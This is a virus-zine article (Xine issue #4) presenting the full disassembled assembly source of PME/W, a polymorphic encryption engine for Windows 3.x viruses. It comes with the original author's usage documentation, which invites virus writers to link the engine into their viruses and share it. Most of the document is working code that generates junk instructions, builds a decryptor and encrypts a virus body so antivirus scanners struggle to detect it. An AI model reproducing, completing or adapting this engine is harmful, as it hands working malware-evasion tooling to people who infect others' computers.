/-----------------------------\ | Xine - issue #4 - Phile 310 | \-----------------------------/ ; =========================================================================== ; PME/W v0.00 Phantasie Mutation Engine for Windows v0.00 ; =========================================================================== ; ; Name : PME/W ; Version : 0.00 ; Original Author : Burglar ; Original Size : 1412 bytes ; Platform : Win3x ; Kind : Polymorphic Engine ; Origin : Taipei (Taiwan) ; Dissassembly by : Billy BelcebŁ/iKX ; ; Some comments : ; ; Here follows my second dissassembly (after KRTT, see my VWGs), and i hope ; it won't be the last. I don't know if anyone had dissassemblied this engine ; before, but here i am, i did it (all) the 18 of May, in a boring afternoon ; after doing a 'physic' exam. Well, ehem, nobody wants to know my life :) ; ; The engine itself is very simple, besides the fact it's for Win3x viruses, ; i hadn't found anything special on it, and i really think that AV won't ha- ; ve to work much to detect it (as it has many fixed bytes). Well, you will ; see all the details in the engine itself. Now, here you have its original ; documentation. ; ; ---[ PME/W DOCUMENTATION ]------------------------------------------------- ; ; Phantasie Mutation Engine for Windows Version 0.00 ; Written by Burglar in Taipei, Taiwan. (95/07/16) ; ; ; 1. License ; ; You are free to include this Engine in your Windows virii, and ; your Windows virii don't injure anything. Injure anything is ; prohibited. ; ; ; 2. How to use it ; ; when you want use it, you must declare below at first in code ; segment. ; ; EXTRN PMEW:NEAR, PMEW_END:NEAR ; ; Then you write your Windows virii as usual. When you need to ; encrypt the code, you just call the Engine. Put the following ; instruction in your code: ; ; CALL PMEW ; ; You also need to supply the parameters for the Engine. They are ; passed in registers. Results are also passed in registers. ; ; Of course, you must link the PMEW.OBJ module to your Windows virii ; ! ; ; PMEW_END labeled the tail of your virii that includes the engine, ; and you can use OFFSET PMEW_END to get the length of your Windows ; virii that includes the engine. ; ; ; 3. Input parameters ; ; All parameters are mandatory. Description follows: ; ; ES:DI => Work space ; ; The Engine needs work space. For placing product (decrypt code ; & encrypted code) which is generated by PME/W. ; ; DS:SI => Code to encrypt ; ; On entry, just set DS:SI to point to the code you want to be ; encrypted. ; ; CX = Length of code to encrypt ; ; On entry, just set CX to the length of the code you want to be ; encrypted. ; ; DX:AX => Relocation fixup information ; ; When your virii has relocation records (such as you may call the ; Windows APIs to do something, or your virii will pass control to ; host program via intersegment jump, etc.) , you have to pass ; pertinent information to PME/W. ; ; Format of relocation fixup information: ; Offset Size Description ; 00h WORD number of relocation items ; 02h 2N BYTEs relocation items ; Offset Size Description ; 00h WORD offset within segment ; ; ATTENTION! ; Your Windows virii must be zero start! (i.e. begin running with ; CS:0000) ; ; ; 4. Results ; ; The Engine returns the following values in registers: ; (all other except for the listed below will be PRESERVED) ; ; CX = Length of the decryption routine ; ; CX now has the length of decryption routine. ; ATTENTION! (mere length of decryption routine) ; ; The product (decryption routine & encrypted code) which generated ; by PME/W is placed in Work space (i.e. pointed by ES:DI) ; ; ; 5. Final Notes ; ; SPECIAL THANKS: ; ; qark (for your Windows infection theory & WinSurfer) ; quantum (for WinSurfer & grin me !@#$%^&*) ; metabolis (for leading vlad magazine & tons of stuff) ; malware (for NE format detail) ; lookout (for tons of stuff) ; kdkd (for tons of stuff & blah.gif - fxxx with horse !@#$%^&*) ; horde (for tons of stuff - cvdq.arj) ; dread (for giving me a account in Russia) ; theora (you are the only one female interested in virii, could you ; be my girl friend ?!) ; slash (hehe... my teacher & confident) ; ; ; Well, that's for now. No time for more. No demonstration program ; . ; ; Pass the Engine (all files together in an archive) to Windows virii ; programmers. ; ; ; Greetings to all virii programmers ; ; Burglar ; ; Taipei, Taiwan. ; ; ---[ PME/W DOCUMENTATION ]------------------------------------------------- ; ; Well, i sincerely hope that you find this simple (but very well coded) en- ; gine interesting. If anyone wanna know, i did this dissassembly with IDA :) ; Get it from internet (it's big, but a very good program). Thanks to Slage, ; for the 'thingy' that he gave me in Italy, and to Darkman, because he is ; the IDA god :) ; ; Btw, maybe you have seen that it ain't too much commented... i don't like ; to comment code that ain't mine... maybe i will improve this, but not now, ; not today. ; ; Bored and apathetic, ; Billy BelcebŁ/iKX ; p486 _PMEW segment byte private '' use16 assume cs:_PMEW assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing public PMEW,PMEW_END PMEW: jmp short engine_start nop ; hehehe PMEW_Mark db " PME for Windows v0.00 (C) Jul 1995 By Burglar " engine_start proc near push ax ; Push AX in stack push bx ; Push BX in stack push dx ; Push DX in stack push bp ; Push BP in stack push si ; Push SI in stack push di ; Push DI in stack push ds ; Push DS in stack push es ; Push ES in stack mov bp, ds ; BP -> DS push ax ; Push AX in stack push cs pop bx ; BX -> CS mov ax, 0Ah int 31h ; DPMI Services ax=func xxxxh ; CREATE CODE SEGMENT ALIAS DESCRIPTOR ; BX = code segment selector ; Return: CF set on error ; CF clear if successful, ; AX = new data selector mov ds, ax ; DS = new data selector = AX pop ax ; Restore AX from stack call _delta ; Get Delta Offset _delta: pop bx sub bx, offset _delta init_values: mov ds:shit[bx], 0FDAAh ; Put SHIT value to 0FDAAh mov ds:status_byte[bx], 0 ; Make status byte to be 0 nop ; hehe mov ds:code_offset[bx], si ; Save offset of code to enc. mov ds:code_segment[bx], bp ; Save its segment mov ds:work_space[bx], di ; Save offs. where dec. will go mov ds:work_segment[bx], es ; Save its segment mov ds:enc_length[bx], cx ; Save the size to encrypt mov ds:reloc_offset[bx], ax ; Save offset of RELOC struc mov ds:reloc_segment[bx], dx ; Save its segment cld ; Clear direction flag call pre_garbage ; Generate simple garbage mov al, 60h ; Generate PUSHAD stosb ; Store it to ES:[DI] mov ds:shit[bx], 0 ; Put shit variable to 0 call pre_garbage ; Generate simple garbage mov al, 1Eh ; Generate PUSH DS stosb ; Store it to ES:[DI] call pre_garbage ; Generate simple garbage mov al, 0Eh ; Generate PUSH CS stosb ; Store it to ES:[DI] call pre_garbage ; Generate simple garbage mov al, 5Bh ; Generate POP BX stosb ; Store it to ES:[DI] or ds:shit[bx], 88h call pre_garbage ; Generate simple garbage mov al, 0B8h ; Generate MOV AX,imm16 stosb ; Store it to ES:[DI] mov ax, 0Ah ; Immediate stosw ; Store it to ES:[DI] or ds:shit[bx], 11h call pre_garbage ; Generate simple garbage mov ax, 31CDh ; Generate INT 31h stosw ; Store it to ES:[DI] and ds:shit[bx], 0FF77h call pre_garbage ; Generate simple garbage mov ax, 0D88Eh ; Generate MOV DS,AX stosw ; Store it to ES:[DI] and ds:shit[bx], 11h call pre_garbage ; Generate simple garbage mov al, 0BBh ; Generate MOV BX,imm16 stosb ; Store it to ES:[DI] push di scasw ; Store it to ES:[DI] or ds:shit[bx], 88h call pre_garbage ; Generate simple garbage mov ds:jmp_temp[bx], di call pre_garbage mov ax, 3780h ; Generate XOR [DI],imm16 stosw ; Store it to ES:[DI] push di ; Save DI on stack scasb call pre_garbage mov ax, 0D3F7h ; Generate NOT BX stosw ; Store it to ES:[DI] call pre_garbage mov ax, 0DBF7h ; Generate NEG BX stosw ; Store it to ES:[DI] call pre_garbage push ds ; Process RELOCS :) mov si, ds:reloc_offset[bx] mov ds, ds:reloc_segment[bx] mov cx, [si] ; [SI] -> CX pop ds ; Restore DS from stack jcxz lets_rock ; If CX = 0 goto lets_rock l00py: ; ... mov ax, 0FB81h ; Generate CMP BX, imm16 stosw ; Store it to ES:[DI] push di ; Save DI scasw mov ds:status_byte[bx], 1 nop call pre_garbage mov al, 75h ; Generate JNZ stosb ; Store it to ES:[DI] push di ; Save DI on stack scasb mov ds:status_byte[bx], 0 nop call pre_garbage mov ax, 0C383h ; Generate ADD BX,imm16 stosw ; Store it to ES:[DI] mov al, 4 ; AL -> 4 stosb ; Store it to ES:[DI] call pre_garbage pop si ; Restore SI from stack mov dx, si ; DX = SI inc dx ; Increase DX mov ax, di ; AX = DI sub ax, dx ; AX = AX-DX mov es:[si], al ; Store AL to ES:[SI] loop l00py lets_rock: ; ... mov ax, 0FB81h ; Generate CMP BX,imm16 stosw ; Store it to ES:[DI] push di ; Save DI on stack scasw mov ds:status_byte[bx], 1 nop call pre_garbage mov al, 74h ; Generate JZ stosb ; Store it to ES:[DI] push di ; Save DI on stack scasb call pre_garbage mov al, 0E9h ; Generate JMP stosb ; Store it to ES:[DI] mov ax, ds:jmp_temp[bx] mov dx, di ; All this stuff is add dx, 2 ; because the goddamn JMP sub ax, dx ; AX = AX-DX stosw ; Store it to ES:[DI] call pre_garbage pop si ; Restore SI from stack mov dx, si ; DX = SI inc dx ; Increase DX mov ax, di ; AX = DI sub ax, dx ; AX = AX-DX mov es:[si], al ; Store AL in ES:[DI] mov al, 1Fh ; Generate POP DS stosb ; Store it to ES:[DI] call pre_garbage mov al, 61h ; Generate POPAD stosb ; Store it to ES:[DI] mov ax, di ; AX = DI sub ax, ds:work_space[bx] ; AX = AX-Work Space (initial DI) mov ds:temp[bx], ax ; Temp = already generated code size mov ax, ds:temp[bx] ; Why this if you already have it? :) add ax, ds:enc_length[bx] ; Add the size to encrypt pop si ; Restore SI from stack mov es:[si], ax ; Store AX into ES:[SI] mov dx, ds ; Put temporally DS in DX mov si, ds:reloc_offset[bx] mov ds, ds:reloc_segment[bx] lodsw ; Get DS:[SI] into AX mov cx, ax jcxz copy_virus ; if CX = 0 goto copy_virus dec ax ; Decrease AX shl ax, 1 ; Multiply AX per 2 add si, ax ; Add it to SI std ; Set Direction Flag make_temp: ; ... lodsw ; Get DS:[SI] into AX mov bp, ds ; DS -> BP mov ds, dx ; DX -> DS add ax, ds:temp[bx] mov ds, bp ; BP -> DS pop bp ; Restore BP mov es:[bp], ax ; AX -> ES:[BP] loop make_temp cld copy_virus: ; ... mov ds, dx ; DS = DX call random ; Get a random number pop bp ; Restore BP from stack mov es:[bp], al ; ES:[BP] <- AL pop bp ; Restore BP again push ds:temp[bx] ; Push memory address pop word ptr es:[bp] ; And pop there mov cx, ds:enc_length[bx] ; Size to copy mov si, ds:code_offset[bx] ; From where copy (offset) mov ds, ds:code_segment[bx] ; From what segment push di ; Save DI repe movsb ; Copy DS:[SI] to ES:[DI] pop di ; Restore DI mov ds, dx ; DS = DX mov bp, ds:temp[bx] ; Setup encryption routine mov cx, ds:enc_length[bx] mov si, ds:reloc_offset[bx] mov ds, ds:reloc_segment[bx] crypt_virus: ; ... push ax ; All this and the below thingies push cx ; are the fucken encryption loop... push si ; Save SI on stack xor es:[di], al ; Encryption operation inc di ; Increment index lodsw ; Get DS:[SI] into AX mov cx, ax ; AX = CX jcxz close_engine ; If CX = 0 goto close_engine pseudo_loop: ; ... lodsw ; Get DS:[SI] into AX add ax, bp ; Normalize push ds ; Save DS mov ds, dx ; DS = DX add ax, ds:work_space[bx] ; AX = AX+work space pop ds ; Restore DS cmp di, ax ; Compare DI with AX jnz fix_it ; Aren't they equal? add di, 4 ; If they are equal, DI=DI+4 fix_it: ; ... loop pseudo_loop close_engine: ; ... pop si ; Restore SI pop cx ; Restore CX pop ax ; Restore AX loop crypt_virus ; Cryption loop mov ds, dx ; DS = DX mov cx, ds:temp[bx] ; CX = Decryptor size pop es ; Restore ES pop ds ; Restore DS pop di ; Restore DI pop si ; Restore SI pop bp ; Restore BP pop dx ; Restore DX pop bx ; Restore BX pop ax ; Restore AX retn ; Return to caller engine_start endp pre_garbage proc near ; ... push si ; Save SI on stack call random ; Get a random number aam 20h cbw mov bp, ax add bp, di loop_pre_gbg: ; ... call random ; Get a random number and al, 1 ; make it to be [0..1] shl al, 1 ; multiply per 2 mov si, ax ; put it in SI and si, 0FFh ; clear msb of SI mov si, ds:pseudo_table[bx+si] ; Get an offset lea si, [bx+si] call si ; call it cmp di, bp jb loop_pre_gbg ; shitz... pop si retn pre_garbage endp get_pseudo_rib: ; ... push ax push cx push dx push si call random ; Get a random number aam 9 ; Adjust After Multiplication to 9 =) test ds:status_byte[bx], 1 nop jz fix_it1 ; Needs fix? and al, 0 ; Yeah, it needs :) fix_it1: ; ... cbw mov si, ax mov ah, ds:rib_table[bx+si] call random test al, 1 jnz tons_of_shit call get_poly_table push ax shr al, 3 ; Shift 3 bytes left [xx???xxx] and al, 1 ; Must be between 0 and 1 or ah, al call random ; Get a random number and al, 2 ; AL must be between 0 and 2 or ah, al xchg al, ah stosb ; Store it to ES:[DI] or ah, ah pop ax mov ah, al call random jnz okay_not_zero and ah, 7 ; Add AH xxxxx111 and al, 38h ; Must be xx???xxx jmp short finish_him nop okay_not_zero: ; ... shl ah, 3 ; Shift left 3 bytes and ah, 38h ; Must be xx???xxx and al, 7 ; Add xxxxx111 finish_him: ; ... or al, 0C0h ; Add the first 2 bits 11xxxxxx or al, ah stosb ; Store it to ES:[DI] jmp short exit_func nop tons_of_shit: ; ... or ah, 2 call get_poly_table push ax shr al, 3 ; Some math operations and al, 1 or ah, al mov al, ah stosb ; Store it to ES:[DI] pop ax ; Restore AX shl al, 3 and al, 38h or al, 6 stosb ; Store it to ES:[DI] call random ; Get a random number mov ah, al ; AH = AL call random ; Get a random number xor dx, dx ; DX = 0 mov cx, 1FFh div cx ; Divide AX per 1FFh stosw ; Store it to ES:[DI] exit_func: ; ... pop si ; Restore SI pop dx ; Restore DX pop cx ; Restore CX pop ax ; Restore AX retn ; Return to caller gen_onebyter: ; ... push si ; Save SI on stack call random ; Get a random number aam 5 ; Interesting instruction this AAM ;) cbw mov si, ax ; SI = AX mov al, ds:one_byters[bx+si] stosb ; Store it to ES:[DI] pop si retn get_poly_table: ; ... push si ; Save SI call random ; Get a random number and al, 0Fh ; Between [00..15] shl al, 1 ; Multiply per 2 mov si, ax ; Put in SI and si, 0FFh ; only lsb of SI is interesting mov si, ds:test_table[bx+si] ; Get an offset lea si, [bx+si] call si ; Call the function pointed by it pop si ; Restore SI jnz get_poly_table ; Not zero? shit shr al, 1 ; Divide per 2 retn ; All this shitty TESTs =) test_1: ; ... test ds:shit[bx], 1 retn test_2: ; ... test ds:shit[bx], 2 retn test_4: ; ... test ds:shit[bx], 4 retn test_8: ; ... test ds:shit[bx], 8 retn test_10: ; ... test ds:shit[bx], 10h retn test_20: ; ... test ds:shit[bx], 20h retn test_40: ; ... test ds:shit[bx], 40h retn test_80: ; ... test ds:shit[bx], 80h retn test_11: ; ... test ds:shit[bx], 11h retn test_22: ; ... test ds:shit[bx], 22h retn test_44: ; ... test ds:shit[bx], 44h retn test_88: ; ... test ds:shit[bx], 88h retn or_al_al: ; ... or al, al retn test_200: ; ... test ds:shit[bx], 200h retn test_400: ; ... test ds:shit[bx], 400h retn test_800: ; ... test ds:shit[bx], 800h retn ; The PME/W's RNG (Random Number Generator) random proc near ; ... pushf ; This procedure is for obtain a rand. push cx ; number in AL :) push ax in al, 40h ; Timer 8253-5 (AT: 8254.2). mov cl, al in al, 40h ; Timer 8253-5 (AT: 8254.2). mov ah, al in al, 40h ; Timer 8253-5 (AT: 8254.2). xor al, ah rcr al, cl mov cl, al pop ax mov al, cl pop cx popf retn random endp ; Some data shit dw ? status_byte db ? code_offset dw ? code_segment dw ? work_space dw ? work_segment dw ? reloc_offset dw ? reloc_segment dw ? enc_length dw ? temp dw ? jmp_temp dw ? rib_table db 88h ; Table with information needed db 00h ; for RegInfoByte thingy db 10h db 28h db 18h db 38h db 20h db 08h db 30h ; Table of do-nothing one-byters, used as garbage one_byters db 0FCh ; CLD db 0FDh ; STD db 0F3h ; REP db 0F2h ; REPNZ db 90h ; NOP ; Some tables of all TESTs test_table dw offset test_1 dw offset test_2 dw offset test_4 dw offset test_8 dw offset test_10 dw offset test_20 dw offset test_40 dw offset test_80 dw offset test_11 dw offset test_22 dw offset test_44 dw offset test_88 dw offset or_al_al dw offset test_200 dw offset test_400 dw offset test_800 ; Tables for generate interesting stuff pseudo_table dw offset get_pseudo_rib dw offset gen_onebyter PMEW_END label byte _PMEW ends end